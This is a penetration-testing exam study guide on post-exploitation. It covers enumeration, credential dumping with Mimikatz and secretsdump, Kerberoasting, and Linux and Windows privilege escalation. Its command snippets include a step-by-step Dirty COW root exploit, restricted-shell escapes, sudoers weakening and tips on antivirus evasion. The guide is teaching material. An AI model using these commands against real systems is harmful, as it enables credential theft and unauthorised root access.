By Fatskills Exam Guides Team — the exam nerds behind 28,500+ quizzes and 2.1M practice questions across 500+ global exams.
Topics: - Enumeration - Discovery - Credential Access - Privilege Escalation - Linux Privilege Escalation - Windows Privilege Escalation - Covert Channels and Data Exfiltration - SSH Tunneling - Shell Types - Command and Control - Data Exfiltration - Lateral Movement - Living Off the Land - Passing the Hash - RPC/DCOM - Remote Desktop Protocol - WinRM - Maintaining Persistence - Windows - Linux - Covering Your Tracks - Clearing Command History - Timestomping - File Deletion - Completing various exercises using post-exploitation tools - Performing lateral movement attacks like pass the hash - Investigative techniques to move laterally over the network - Discovering ways to maintain persistence and avoid detection - Exploring post-exploitation techniques for privilege escalation and enumeration
We have covered different ways to exploit network, application, and human vulnerabilities to gain access. In this guide, we will investigate attack techniques that you can use once you have an initial foothold into a system. These are called post-exploitation techniques. There are an abundance of post-exploitation techniques for Mac, Linux, and Windows. However, we will focus on scenarios and tooling from the CompTIA exam objectives. This includes tools and techniques for privilege escalation and trust abuse, lateral movement, detection avoidance, and post-exploitation information gathering techniques. Enumeration Once you gain initial access to the target’s operating system, you will want to have a better understanding of the environment in order to determine your next steps toward achieving your pentest objectives. You’ll want to figure out more about the system you have accessed, including users, groups, domains or domain trusts, and other systems it’s connected to on the network. In addition, you’ll want to make a survey of existing files and folders in case you have access to sensitive data. Tip: Metasploit Unleashed (https://www.offensive-security.com/metasploit-unleashed) is a free online hacking tutorial offered through Offensive Security. Many of the Metasploit examples we will discuss in this guide are covered in this tutorial, along with examples of how to leverage the Metasploit framework post-exploitation modules to harvest credentials, enumerate sensitive data from remote and local shares, escalate privileges to a higher privileged account, etc. Visit their website and follow the tutorials to learn additional exploitation and post-exploitation techniques using the Metasploit framework. Discovery MITRE ATT&CK describes the process of figuring out more about the environment under the Discovery Tactic. In the Enterprise Matrix, which addresses Windows, Linux, and macOS systems, MITRE enumerates 27 techniques based on observations of threat actors in the wild. These include ways to identify whether or not you are in a virtual machine, sandbox, or deception environment; enumerating the contents of network shares; identifying users, domains, and other systems on the network; and examining systems settings and installed applications for useful data, among others. In short, you are searching for data according to your pentest objectives and gathering tools you can use to get closer to your goal. Files Let’s talk about some of the things you might look for in files. Network shares and local files may contain password vaults, credentials in plaintext, or other target data. You may be able to crack password vaults offline if you are able to exfiltrate them. Bookmark files may contain sites that are login portals to other applications or repositories for stored information (like SharePoint or wikis). You may want to look for SSH keys (often stored in the $HOME/.ssh directory in Linux/Mac), or look for configuration files for remote access programs, such as PuTTY. These may store information about other systems to connect to (such as in the $HOME/.ssh/known_hosts file), or enable you to access them without additional passwords. If you managed to harvest some valid SSH usernames and passwords during post-exploitation activities, you can leverage those accesses to potentially dig a little deeper into the network. Let’s take a minute to talk through this as an example. Public key authentication is an alternative to password-based logins that can be used to validate the identity of the SSH client making the connection, as well as the individual user account. It provides stronger encryption and can eliminate the need for users to enter in passwords each time they log in, using SSO across SSH servers with the use of SSH agents. The public (id_rsa.pub or id_dsa.pub) and private (id_rsa or id_dsa) key pair will be saved to the user’s $HOME/.ssh directory. To see if an SSH key is encrypted, you can use the openssl command (rsa syntax: openssl rsa -in id_rsa). If the key is not encrypted, you will not be prompted for a password and the plaintext value of the key will be printed to the screen. To use SSH key login with OpenSSH, copy the contents of id_rsa.pub into the $HOME/<user>/.ssh/authorized_keys file. The public key entry is used to validate the private key presented by the <user> account during the login process. This happens on the server side, not the client side. Metasploit has a few modules to assist with SSH hijacking and exploitation. The auxiliary/scanner/ssh/ssh_login module can be used to validate credentials against remote SSH servers. The services command in Metasploit will list ports, protocols, and hosts that it knows about. The -R feature will tell Metasploit to populate the RHOSTS field in the current module with the hosts from the services table. When you run the ssh_login module, it will attempt to log in to the remote hosts using the username and SSH password you configured the module to use. As you can see above, one of four target hosts were able to be logged in to using the provided username and password combination. The module will execute a basic shell payload against the target host, which can be converted to a Meterpreter payload, using the ssh_to_meterpreter post-execution module. Figure: Metasploit SSH login scanner Tip: A shell upgrade in Metasploit is the opportunity to convert the existing shell to a Meterpreter. The shell platform is automatically detected and the best version of Meterpreter for the target is used as the payload option, unless otherwise specified. The supported platforms are Linux, OS X, Unix, Solaris, BSD, and Windows. The Metasploit post-exploitation payload to use against your session is called “post/multi/manage/shell_to_meterpreter.”
$HOME/.ssh
$HOME/.ssh/known_hosts
openssl
openssl rsa -in id_rsa)
id_rsa.pub
$HOME/<user>/.ssh/authorized_keys
auxiliary/scanner/ssh/ssh_login
services
-R
ssh_login
ssh_to_meterpreter
Using the newfound shell from the target, we can use the Metasploit post-execution module called multi/gather/ssh_creds to try and gather SSH credentials from the target host, such as SSH private keys from the target file system that our user account may have access to, like the compromised user’s $HOME/.ssh directory.
multi/gather/ssh_creds
As shown below, to run the module, simply set the SESSION identifier and execute run. Figure: Gather SSH credentials
run
As you can see, the “user” account had an SSH private key accessible in their $HOME directory. The next step is to see if the private key is unencrypted. If it is, we won’t need to figure out the password used to decrypt it. We see that the authorized_keys file is being used, so we can compare the public key to the authorized key file to see if it is a match, and if so, we can compare the compromised private key to the public key to see if this is indeed a key used to authenticate the user for the remote host. To verify that a public and private key pair match, you can use the following command syntax: ssh-keygen -y -f <private key> then read the contents of the public key (e.g., id_rsa.pub) to verify. The last step is to see which hosts we can identify from the known_hosts file. This will list the SSH host key of other SSH servers that the user has connected to, which could provide a digital footprint of potential targets. If the credentials work against those hosts, you could simply walk in the digital footprints of the compromised user to reduce the likelihood of being detected, while emulating normal behavior on the network. Note: : Metasploit modules will record all discovered artifacts in the Loot table and save recovered files from target hosts to the appropriate Metasploit user folder on your local file system. You can access these discovered artifacts in Metasploit using the loot command. The Metasploit post-execution module scanner/ssh/ssh_login_pubkey is used to validate SSH keys against remote SSH servers. Using the compromised user key, we can attempt to log in to the other three hosts we failed to authenticate against using the password. This could tell us if the user has different local passwords but uses the same SSH key for authentication.
ssh-keygen -y -f <private key>
loot
scanner/ssh/ssh_login_pubkey
After running the module, you can see above that the user account used the compromised public key for authentication on two of the four hosts. The Metasploit creds command prints valid credentials from the Credentials table that have been either verified through other Metasploit modules or collected from post-execution modules. Figure: Displaying SSH credentials in Metasploit System Configuration System configuration data may also be useful. For example, what processes are running on the system? What permissions do they have? You can use this information to migrate unstable shells into more stable processes or elevate privileges by impersonating the user who owns the process. This can also tell you what applications are running on the system, including security controls you may need to evade. In Linux and macOS, you can use the ps command to list processes on the system. In Windows, you can use the tasklist command, or the Get-Process cmdlet in PowerShell, if you have elevated rights. powershell Get-Process -IncludeUserName Users and Groups Once you know the users on the system, you can look at the groups they belong to or find other users to target. In Linux, you can use cat /etc/passwd or getent passwd to list all users on a system. In Windows, you can use net commands, such as net user. Adding the /dom flag will list domain users. Or, you can look at a specific user’s properties: net user <username> /dom. Accounts with privileged access or service principal names may be of special interest because of the access they give. Read more about this under the “Credential Access” section later in this guide. Group memberships are included in the user information, but you can also query groups with the net group and net localgroup commands in Windows. In macOS, you can use dscacheutil -q group or dscl . -list /Groups to see a list of all the local groups. The Linux ldapsearch command can search LDAP for domain groups. Linux can identify local groups using the id -a or groups command. To show a full listing of the local groups and group memberships, you can execute cat /etc/group at the terminal. Tools such as Bloodhound are designed to visualize Windows Active Directory environments in order to find pathways for lateral movement. Using this tool, you can perform quick queries to identify the shortest path to domain administrator, for example. It’s worth noting, however, that in very large directory environments, Bloodhound may take a very long time to run, and it is not a stealthy method of enumeration.
creds
ps
tasklist
Get-Process
powershell Get-Process -IncludeUserName
cat /etc/passwd
getent passwd
net user
/dom
net user <username> /dom
net group
net localgroup
dscacheutil -q group
dscl . -list /Groups
ldapsearch
id -a
groups
cat /etc/group
The figure below shows the Bloodhound GUI. Figure: Bloodhound Note: : For further reading, Raphael Mudge does a great walkthrough of a practical use case for Bloodhound here: https://www.youtube.com/watch?v=gOpsLiJFI1o Network Connections Look for other hosts the system is connected to, especially if the system has multiple network interfaces, such as the following. Systems that bridge network segments can be valuable targets for lateral movement. The ipconfig /all command in Windows and the ifconfig -all command in Linux and Mac can be used to list network interfaces, while the netstat command will list all open and listening network connections on the device.
ipconfig /all
ifconfig -all
netstat
Local command utilities such as net view for Windows or ping can be used to determine if other internal targets are alive on the network. In Linux, telnet or netcat may even be installed, which could allow you to evaluate the state of various common ports over the network using the -z command option: nc -z 192.168.1.50 1-1000 Credential Access Once you identify targets, there are numerous ways you may attempt to get credentials in order to access other systems. For example, you could attempt to dump them from memory using a tool like Mimikatz. You could even create a faux login page (perhaps by using the “phish_windows_credentials” post-exploit module in Metasploit), then attempt to use a keylogger to capture keystrokes as an active user logs into a remote system. Even the clipboard may contain data copied from a password vault before it is pasted into a login prompt. Let’s dig more into some ways to get credentials. Windows: Group Policy Preferences Group Policy Preferences (GPP) was introduced back in Windows Server 2008 and allows domain administrators to create domain policies to automate tedious tasks, such as changing the local Administrator account password on the host operating system. Each policy is created with an encrypted password embedded within the policy. Policies are stored in SYSVOL, which contains logon scripts, Group Policy data, and other domain-wide data that is viewable by any user who is a member of the domain. All was well until the Advanced Encryption Standard (AES) private key used to decrypt the passwords was published on the Microsoft Developer Network (MSDN) prior to 2012.
net view
ping
telnet
netcat
-z
nc -z 192.168.1.50 1-1000
Since domain users have access to SYSVOL, any user can recover the XML policy files and decrypt the “cpassword” value, which is the field that contains the AES-encrypted GPP password. This provides a trivial way of escalating privileges on the domain. The following illustration shows the contents of the Groups.xml GPP file, which is configured to change the local Administrator password for domain clients.
You can decrypt the GPP CPassword value offline using various tools and scripts available on the Internet, such as the Get-DecryptedCpassword PowerShell function in the PowerSploit tool kit (we will talk more about that tool kit later on in the chapter). Another way is to use the post/windows/gather/credentials/gpp post-execution module in Metasploit to obtain and decrypt the CPassword value from the XML policy file in SYSVOL.
Get-DecryptedCpassword
post/windows/gather/credentials/gpp
Microsoft suggests the best way to mitigate the CPassword privilege escalation vulnerability is to install the supplied patches for your operating system, which will prevent new credentials from being added to GPP, and to delete the existing GPP XML files in SYSVOL that contain passwords. The MS15-025 bulletin was assigned to this vulnerability and affects legacy versions of Windows up to Windows 2012 R2. Windows: Security Accounts Manager The Security Accounts Manager (SAM) database file contains local account settings and password hashes for the host. You can use the net user command at the Windows command prompt to list the local user accounts. You can retrieve the contents of the SAM file using specific in-memory techniques, which are automated using the following tools: - SamDump2 - LaZagna - secretsdump - pwdumpx.exe - gsecdump - Mimikatz
The SAM file is located in C:\Windows\System32\config, but is locked against copying while the operating system is booted. You would have to use tools such as ninjacopy or volume shadow copy (VSS) to copy these programmatically. However, the contents are available in the local registry.
C:\Windows\System32\config
The Windows registry is a hierarchical database that holds low-level configuration settings for the kernel, device drivers, services, etc. Administrators can use the regedit command to bring up the registry editor graphical user interface and make changes to registry entries as necessary.
regedit
To manually extract the local hashes from the HKEY_LOCAL_MACHINE (HKLM registry hive), you will need the registry contents for the SAM and SYSTEM objects. You will need SYSTEM-level privileges to extract these registry entries. From the command prompt, you can use the reg command utility to copy the required objects to files on the file system.
reg
Using a Meterpreter shell, you can download the files to your local Kali host for offline processing. Both files are required to do offline extraction of the hashes from the database for the local system.
The impacket-secretsdump command in Kali (i.e., alias for secretsdump.py) can be used to retrieve dump secrets from remote targets, without the need to install an agent or any type of persistence on the host. If you know the password of a local or domain-level administrator, you can execute the command impacket-secretsdump [user]:[pass]@[ip address] to pull all of the secrets remotely. You can also use the command and pass in the SAM and SYSTEM registry objects as command options to extract the local hashes (lmhash:nthash).
impacket-secretsdump
secretsdump.py
impacket-secretsdump [user]:[pass]@[ip address]
Mimikatz (ATT&CK ID: S0002) is a post-exploitation tool written in C by Benjamin Delpy (https://github.com/gentilkiwi/mimikatz) that can assist with obtaining plaintext Windows account logins and passwords during pentest engagements. The tool offers many features other than credential dumping, including account manipulation. We will cover some of these features, like the ones that can be used for lateral movement, later on in this guide. Using a Meterpreter shell with system privileges, you can migrate to a 64-bit process if necessary, verify some system information, and load the Mimikatz module. Tip: Mimikatz comes in 32-bit and 64-bit versions. If you used a 32-bit process to exploit your target, Mimikatz will load the 32-bit version of the module.
The issue is that some of the credential extraction features will require a 64-bit process.
To help prevent this from happening, use the migrate command within your Meterpreter shell to migrate to a 64-bit process. To see a list of 64-bit processes, use the ps Meterpreter command to list running processes and locate a process to migrate to (e.g., wininit.exe). Once the module has been successfully loaded, you can invoke Mimikatz commands from within the Meterpreter shell using mimikatz_command. You can execute mimikatz_command -h to see a list of command options, or use help mimikatz from the Meterpreter shell, which provides a list of built-in Mimikatz commands, to extract credentials.
migrate
mimikatz_command
-h
help mimikatz
Among the arguments you pass to the Mimikatz command are functions (modules). To see a list of modules, execute mimikatz_command -f foo:: at the Meterpreter shell, or any other made-up function that doesn’t actually exist. To see options for the samdump module, you can use mimikatz_command -f samdump::. To dump the list of local hashes from the SAM database, execute the following command: mimikatz_command -f samdump::hashes. Note: : Running Mimikatz in memory rather than on disk has its benefits, such as antivirus evasion. You can also use some trivial encoding or obfuscation techniques, like updating the Invoke-Mimikatz.ps1 command from the PowerSploit framework until it can no longer be detected by antivirus signatures, as shown in the “How to Bypass Anti-Virus to Run Mimikatz” article from https://www.blackhillsinfosec.com.
mimikatz_command -f foo::
samdump
mimikatz_command -f samdump::
-f samdump::hashes
Invoke-Mimikatz.ps1
Some antivirus software products may also be configured to consider Mimikatz as a potentially unwanted program (PUP) and will not actually perceive this as malicious software. Antivirus programs should be configured to alert and/or quarantine when they detect this type of software. Other mitigation techniques would be using some type of application whitelisting software installed, like AppLocker, or software restriction policies to prohibit the execution of unsigned programs. Windows: Local Security Authority The purpose of Local Security Authority (LSA) in Windows is to manage a systems security policy, enabling users to log in, auditing, and storing sensitive data, such as service account passwords. The LSA secrets are stored in the Windows registry key called HKLM\Security\Policy\Secrets. Every local or domain account that logs in to the host will have the credentials recorded in the Secrets registry key. If auto-login is enabled for the account (e.g., service account), the account information will be stored in the registry as well. The contents of the key are not accessible using the regedit command; however, you can also use Mimikatz to extract the LSA secrets from the local host. The Local Security Authority Subsystem Service (LSASS) is used to store credentials in memory after a user successfully logs in to a system. The credentials may be an NT LAN Manager (NTLM) password hash, LM password hash, or even a cleartext password. This helps make credential sharing between trusted applications efficient and not require the user to enter a user and password every time authentication is required. The Security Support Provider (SSP) is a dynamic linked library (DLL) that makes one or more security packages accessible to applications.
The Security Support Provider Interface (SSPI) operates as an interface to SSPs and helps facilitate access to the stored credentials.
Some of the SSPs documented within the MITRE ATT&CK matrix that are allowed to access the subsystem are - Msv Authentication package: interactive logons, batch logons, and service logons - Wdigest The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges - TSPkg Web service security package - Kerberos Preferred for mutual client-server domain authentication in Windows - CredSSP Provides single sign-on (SSO) and network-level authentication for Remote Desktop Services
You can extract the LSASS process memory using the sekurlsa::logonPasswords option when executing Mimikatz from the Windows command terminal. Service Principal Names and Kerberoasting Kerberos is a network authentication protocol that leverages a ticketing system to allow hosts and users operating over the network to prove their identity to one another in a secure fashion. This helps mitigate against attackers eavesdropping and conducting replay attacks using Kerberos protocol messages.
sekurlsa::logonPasswords
The Key Distribution Center (KDC) holds all of the secret keys. When a client successfully authenticates using domain credentials, the ticket-granting ticket (TGT) server will send back a credential that the user can use for authenticating to other trusted computers and applications within the domain, as shown below.
Each ticket has two lifetimes: a ticket lifetime and a renewable lifetime. At any point, a new ticket can be requested and the KDC will generate a new ticket if the renewable lifetime has not expired. If the ticket has expired, the KDC will decline the request, at which point the user will be required to reauthenticate. Figure: Kerberos configuration
A service principal name (SPN) is unique and is used to identify each instance of a Windows service. In Windows, Kerberos requires that SPNs be associated with at least one service logon account (i.e., the account that runs the service). Kerberos uses the SPN to determine which service account hash to use in order to encrypt the service ticket. Active Directory stores two types of SPNs: host-based, which are randomized by default and linked to a computer within the domain, and arbitrary, which are sometimes linked to a domain user account. During a pentest, if you are able to compromise a TGT, you may be able to request one or more Kerberos ticket-granting service (TGS) service tickets from a domain controller for any host or arbitrary SPN. If the arbitrary SPN is tied to a domain user account, the NTLM hash of that user’s account plaintext password was used to create the service ticket, thus allowing you to compromise a valid domain user hash and afford the opportunity for offline password cracking, using your password cracking utility. This attack is known as Kerberoasting (ATT&CK ID: T1208).
There are numerous tools for performing the various parts of a Kerberoasting attack. Rubeus (https://github.com/GhostPack/Rubeus), Mimikatz, and parts of the Empire framework all apply. The Empire framework contains the Invoke-Kerberoast PowerShell script. Mimikatz also has the ability to export the cached TGS from memory using kerberos::list /export into .kirbi files. With these, you can use a conversion utility to put the hashes into a format John the Ripper (JTR) can understand, or use the utilities found at https://github.com/nidem/kerberoast. Note: : Empire is a pure PowerShell post-exploitation agent (https://powershellempire.com) that can assist with lateral movement activities and maintaining persistence. While it is no longer maintained or supported, the project has integrations with Mimikatz and PowerView that are still useful for attacking Windows environments. Windows: Unattended Installation Windows unattended installations are processed using an answer file during initial setup. You can use the answer file to automate tasks during installation, such as configure a desktop background, set up local auditing, configure drive partitions, or set the local administrator account password. The answer file is created using the Windows System Image Manager, which is a part of the Windows Assessment and Deployment Kit (ADK) and can be downloaded for free from https://www.microsoft.com. The Image Manager will allow you to save the unattended.xml file to your computer and allow you to repackage the installation image (used to install Windows) with the new answer file. During a pentest, you may come across answer files on network file shares or local administrator workstations that could aid in further exploitation of the environment. If an attacker comes across these files, along with local administrator access to the host that generates the images, the attacker could update the answer file to create a new local account or service on the system and repackage the installation file so that when the image is used in the future, new systems can be remotely compromised. Privilege Escalation User-level privileges will only get you so far during an engagement. You’re limited to whatever data that user can access, and you can only perform tasks that user is allowed to do. Privilege escalation is the result of obtaining additional permissions on a system or network. In this section, we’ll talk about privilege escalation based on specific operating system contexts. You may see references to two kinds of privilege escalation: vertical privilege escalation and horizontal privilege escalation. Vertical privilege escalation refers to the process of gaining higher-level permissions, such as using the weakness in an installed application to gain SYSTEM-level privileges in Windows, or exploiting a configuration weakness in a setuid command that is owned by root. Horizontal privilege escalation refers to the process of gaining additional access to resources beyond your existing user context, such as gaining access to the home directory of another user or gaining access that enables you to reach a different network segment than is intended for you to access based on the network design. Note: : The kernel is the heart and core of the operating system. It manages all operations for the computer, most importantly the central processing unit (CPU) functions, allocating and deallocating memory space for software, and managing device drivers. There are two types of operating system kernels: a monolithic kernel (e.g., Linux- and UNIX-based operating systems) and a microkernel (e.g., Windows and macOS). In a monolithic kernel, the processes are hosted in the kernel address space (i.e., privileged mode) and applications communicate with the kernel using system calls, whereas with a microkernel, the kernel is broken down into separate processes that are hosted in both kernel space and user space (i.e., less privileged), and processes can communicate with each other using interprocess communication (IPC) messages. You can learn more about these types of kernels by searching through https://docs.microsoft.com or https://www.kernel.org. Linux Privilege Escalation We’ll focus on a survey of common privilege escalation techniques within the Linux OS. However, be aware that there are numerous techniques that can be used above and beyond what we will cover here. In this section, we’ll talk about kernel-level exploits, SUID and SGUID programs, weaknesses with sudo, and sticky bits. Kernel-level exploits provide a means to escalate from user to root privileges and can assist in taking over full control of a host. To research known vulnerabilities for the OS, you can use the operating system release details and kernel version to search for known common vulnerabilities and exposures (CVEs) related to the operating system.
kerberos::list /export
Or, if you used Metasploit with a Meterpreter payload, you can run the local_exploit_suggester post-execution module, as shown below. The local exploit suggester, or lester for short, will scan the target system for vulnerabilities, using the local exploit checks in Metasploit. This could save you time and hassle doing manual research and analysis yourself when there may already be a privilege escalation exploit in the framework that you could use. Figure: Local exploit suggester against Linux Figure: Local exploit suggester against Windows Tip: It is recommended to enable the SHOWDESCRIPTION=true option when running the local_exploit_suggester module. This will provide a detailed description of the exploit in case you are unfamiliar with what the exploit is actually doing. Linux Kernel-Level Exploits An example of a kernel-level exploit is the Dirty COW vulnerability reported in 2016. Dirty COW (CVE-2016-5195) (https://dirtycow.ninja) is a privilege escalation vulnerability in the Linux kernel that takes advantage of a race condition in the way the kernel’s memory subsystem handles the copy-on-write (COW) breakage of private read-only memory mappings. An unprivileged local user could exploit this weakness to gain write access to otherwise read-only memory mappings and gain higher privileges on the operating system. This particular bug has been around since 2007, starting with kernel version 2.6.22. Let’s take a closer look at the vulnerability and execute proof-of-concept code to demonstrate exploitation. Follow along with this exercise as we exploit the Dirty COW vulnerability against a local host to escalate privileges to root. You will need a suitable Linux operating system vulnerable to Dirty COW. You can find a list of vulnerable operating systems by searching the CVE Details website using the specific CVE number. I will be using CentOS 6.4 (http://archive.kernel.org/centos-vault/6.4/isos/x86_64). Note: : A race condition is a type of behavior where the output is dependent on the sequence or timing of other uncontrollable events. It can become a vulnerability when events do not happen in the order the programmer intended.
local_exploit_suggester
lester
SHOWDESCRIPTION=true option
1.: On the vulnerable host, install the wget and gcc packages and the necessary software dependencies so you can download and compile the exploit for your specific architecture: # yum -y install wget gcc dos2unix 2.: Create a local unprivileged user account to run the exploit as:
# yum -y install wget gcc dos2unix
3.: For this exercise, we will be using the PTRACE_POKEDATA race condition privilege escalation (/etc/passwd method) proof-of-concept (POC) code. This exploit will automatically generate a new password line in the local /etc/passwd file. The user will be prompted for the new password when the binary is run. The original /etc/passwd file is backed up to the /tmp directory. Log in to the local operating system as the “user” account and download the Dirty COW exploit code from the Exploit Database website: 4.: The PoC is written in C and will create the new privileged user account called “firefart.” To change this, you can use your favorite text editor and update lines 47 and 131 to create the user “newroot”: Or you can use the stream editor command to do a find and replace of the original text in the source file and replace it with “newroot”: $ sed -i 's/firefart/newroot/g' dirtycow.c
/etc/passwd
/tmp
$ sed -i 's/firefart/newroot/g' dirtycow.c
5.: Use the GNU compiler (gcc) to compile the exploit for your architecture. The -pthread flag will enable threading in the program, and -lcrypt will encrypt the plaintext password for the new user in the password file. Sometimes PoC code will have instructions inside the source code that compiler flags use in order to assist you with how to best compile the executable. If compilation was successful, you will be left with a binary executable called dirtycow: $ gcc -pthread dirtycow.c -o dirtycow -lcrypt 6.: If you are running the vulnerable host in a virtual machine, now would be a good time to take a snapshot for good measure. Execute dirtycow and, when prompted, provide a new password for the new account. Then, try and su to the new account to escalate privileges, shown next. Once you have escalated privileges, you can review the contents of the /etc/passwd file and see that the new account was added to replace the original “root” account. If you don’t see any output, press ctrl-c and see if the new user is in the file. Afterwards, ensure you move the /tmp/passwd.bak file back to /etc/passwd to prevent future local authentication errors. If you do run into some errors, you can always revert to the latest snapshot and try again. Finding SUID/SGID Executables Typically, when an application is executed, it runs in the current user’s context, regardless of application ownership. Sometimes in Linux or macOS, there is a need for an application to execute in an elevated context (e.g., root privileges) to function properly, but the user executing the program doesn’t need the elevated privileges. The setuid and setgid bit permission can be applied to files on the operating system, using chmod 4777 [file], chmod u+s [file], or chmod g+s [file] so that when executed, the process runs with the privileges of the user or group that owns the file. The setuid and setgid technique (ID: T1166) from the MITRE ATT&CK matrix states that applications with known vulnerabilities, or known shell escape, should not have the special bit applied to reduce the possible damage should the application become compromised.
gcc
-pthread
-lcrypt
dirtycow
$ gcc -pthread dirtycow.c -o dirtycow -lcrypt
su
ctrl-c
/tmp/passwd.bak
chmod
4777 [file]
chmod u+s [file]
chmod g+s [file]
This guide covered a privilege escalation example using a shell escape technique in an older version of nmap, which provided an interactive shell feature. To locate all setuid executable files on a Linux/UNIX host, you could execute the following command syntax at a terminal window: find / -perm –u=s –type f –exec ls –al {} \; 2>/dev/null
find / -perm –u=s –type f –exec ls –al {} \; 2>/dev/null
This would traverse through the file systems, starting with the root partition, and look for files that have the setuid bit applied that your account has read access to. Once the file is located, the –exec option executes a long listing format with ls –al for each file that is returned. STDERR (standard error) is discarded and redirected to /dev/null. To look for files with the setgid bit applied, swap out the –u flag (represents the owner of the file) with a –g flag (represents the group owner). If you wanted to just print the path of a setuid file that was owned by root, you could specify the –user root option in the command syntax: find / -user root –perm -4000 –print 2>/dev/null The Purpose of the Sticky Bit A sticky bit is a permission bit, like a setuid and setgid bit, but is set on a directory that allows only the owner of the file within the directory to delete or rename the file. An example of a directory with the sticky bit set would be /tmp in Linux and macOS. Here, any user can write to the directory, but only that user has the permission to remove the file. You can create a directory with a sticky bit as follows:
–exec
ls –al
/dev/null
–u
–g
–user root
find / -user root –perm -4000 –print 2>/dev/null
The “T” in the “test” directory takes the place of the execution permission bit for “everyone.” The “t” bit allows everyone to write and execute inside the directory. Sticky bits help mitigate the possibility of a malicious user from removing files within a directory with another trusted user account. Exploiting sudo Configurations Sudo is a program for UNIX-like operating systems that allows administrators to delegate authority within the operating system to lower privileged user accounts. The /etc/sudoers file is the security policy that specifies which command(s) the user can execute as another user, which is typically either a group account with higher privileges or the superuser account (i.e., root). In some cases, the user with sudo privileges may not have to provide a password to execute commands under sudo, which could help make things a little easier during a pentest, should an account with sudo privileges become compromised. Let’s take a look at the example /etc/sudoers file within Kali Linux, as shown below. Figure: Example sudoers file
/etc/sudoers
Line 20 specifies that the “root” user can run ALL commands against the operating system. Line 23 specifies that any user listed in the “sudo” group (in /etc/groups) is permitted to execute ALL commands as root after specifying a password. If I created a user named “user1” and added the user to the “sudo” group (useradd -G sudo -s /bin/bash user1), the user would be able to execute all commands and be prompted for the sudo password, which is the user1 account password. Tip: When editing the /etc/sudoers file, it is recommended to use the command visudo to edit the file in a safe fashion. It will lock the sudoers file against multiple simultaneous edits and provide some basic sanity checks, as well as check for parse errors.
/etc/groups
useradd -G sudo -s /bin/bash user1
visudo
If line 23 in the /etc/sudoers file had a line that looked like this: user1 ALL=(ALL) NOPASSWD: ALL
user1 ALL=(ALL) NOPASSWD: ALL
the user would not be prompted for a password. The MITRE ATT&CK ID: T1169 references insecure sudo configurations that do not require sudo passwords. This type of sudo configuration could be helpful during a pentest if you were to compromise an account that had access to sudo privileges and were not required to provide a password to elevate privileges. For instance, imagine if you compromised a local account called “logger” and that user had sudo privileges to execute the script /usr/local/move_logs.sh, but that user also has write privileges to the script.
/usr/local/
move_logs
.sh
At this point, the pentester could get creative and append some bash code to the script to help elevate privileges, such as executing a Meterpreter payload generated through msfvenom, or simply adding /bin/bash –i to the end of the script to execute an interactive bash shell with root privileges post–script execution. However, regardless if sudo is configured to prompt the user for a password, the “timestamp_timeout” configuration setting tracks the amount of time in minutes between instances of sudo before reprompting the user for the sudo password (the default is 15 minutes). This is due to sudo’s ability to cache credentials for a designated period of time, otherwise known as sudo caching.
msfvenom
/bin/bash –i
Refer to the MITRE ATT&CK ID: T1206 for further information. The sudo cache is only good for the terminal session the sudo command was executed in; however, run the following command if you want sudo to span across all TTY sessions (e.g., console logins, remote logins, etc.): echo 'Defaults !tty_tickets' >> /etc/sudoers
echo 'Defaults !tty_tickets' >> /etc/sudoers
You can test the new setting by opening a terminal window as the unprivileged user and executing sudo /bin/bash, then enter the password when prompted, then open another terminal window and execute sudo cat /etc/shadow, and you should not be prompted for a password. Organizations that use insecure sudo configurations can create a dangerous situation that could aid attackers by further compromising the local host. Privileged users should be required to specify a sudo password and sudo caching should be disabled or restricted, where applicable. Tip: If you want to force the user to enter the sudo password each time sudo is executed, you can add the following line to the sudoers file: Defaults timestamp_timeout=0. Upgrading a Restrictive Shell One security measure that can thwart attackers is a restricted shell. Forcing an account into a shell that has limited abilities is another way to assert the principle of least privilege. Restricted shells may limit the commands that can be run, what parts of the file system can be accessed, or even redefine what operators and escape characters work. So, when you compromise an account, you might need to figure out how to escape from these shells in order to get better access in pursuit of your goals.
sudo /bin/bash
sudo cat /etc/shadow
Defaults timestamp_timeout=0.
If ls is available, you can attempt to list common parts of the operating system, like /usr/bin to see what tools you have at your disposal. If it’s not, you can try to use echo /usr/bin/* to show the directory contents instead. Then many of the concepts for SUID/SGID escalation might apply. Editors and file pagers are popular mechanisms for shell elevation, if they are available. Many of these allow you to escape to a shell. For example, in vi and vim, you may be able to issue the command :!/bin/sh or :shell to escape into a shell from the editor. In the pager less, the command would be !/bin/sh or whatever is your shell of choice. This shell will typically be less restricted.
ls
/usr/bin
echo /usr/bin/*
vi
vim
:!/bin/sh
:shell
less
!/bin/sh
Linux also typically has one or more programming languages installed, such as Python or Perl. If these are accessible, you may be able to write a quick script to get a shell. For Python, import os; os.system(“/bin/sh”) may work. In Perl, you may try something like exec “/bin/sh”; instead.
import os; os.system(“/bin/sh”)
exec “/bin/sh”;
Other built-in utilities, such as awk and find, may help you break out of a shell when other options are unavailable. You can even use awk to spawn a reverse shell, if you’re clever. But you can use awk ‘BEGIN {system(“/bin/sh”)}’ to attempt to elevate out of a restricted shell. The equivalent using find would be find / -name fakename -exec /bin/sh \; Windows Privilege Escalation There are other ways to escalate privileges than acquiring credentials. As with Linux, there are more methods than we can cover within the scope of a single chapter. In this section, we’ll focus on examples using kernel exploitation, token manipulation, execution flow hijacking, and process injection. Kernel Exploitation In this exercise, we’ll explore how to exploit a local privilege escalation vulnerability (CVE-2010-3338) against a vulnerable Windows 2008 x64 SP2 server. We’ll start with getting local access to the system. Then we’ll explore how to find and use the exploit to gain privileged access. Using psexec Module The Metasploit Meterpreter shell is an effective way of interacting with a target environment, as it runs entirely in memory and leaves little to no trace after disconnecting. To get a Meterpreter shell on a Windows host when you have admin privileges, you can use the windows/smb/psexec module to execute an arbitrary Meterpreter payload (e.g., reverse shell to call back to you or a bind shell that you connect to over a specific port) on an open share, writable by the admin account. If the compromised account is not a member of the local administrators group or has elevated permissions on the domain, you will not be able to use psexec to remotely log in and interact with the target.
awk
find
awk ‘BEGIN {system(“/bin/sh”)}’
find / -name fakename -exec /bin/sh \;
windows/smb/psexec
psexec
Using msfvenom and smbclient Another option is to use msfvenom in Kali to generate a payload, copy the payload over to the target using the smbclient command, and then execute it to establish a Meterpreter session back to your multi/handler.
smbclient
1.: Generate the payload using msfvenom from Kali:
2.: Copy the payload over to the target using the compromised user credentials:
3.: From the target console, open the share folder and double-click the payload:
4.: Capture the callback using a Metasploit multi/handler module configured to use the same LHOST, LPORT, and payload option generated from msfvenom:
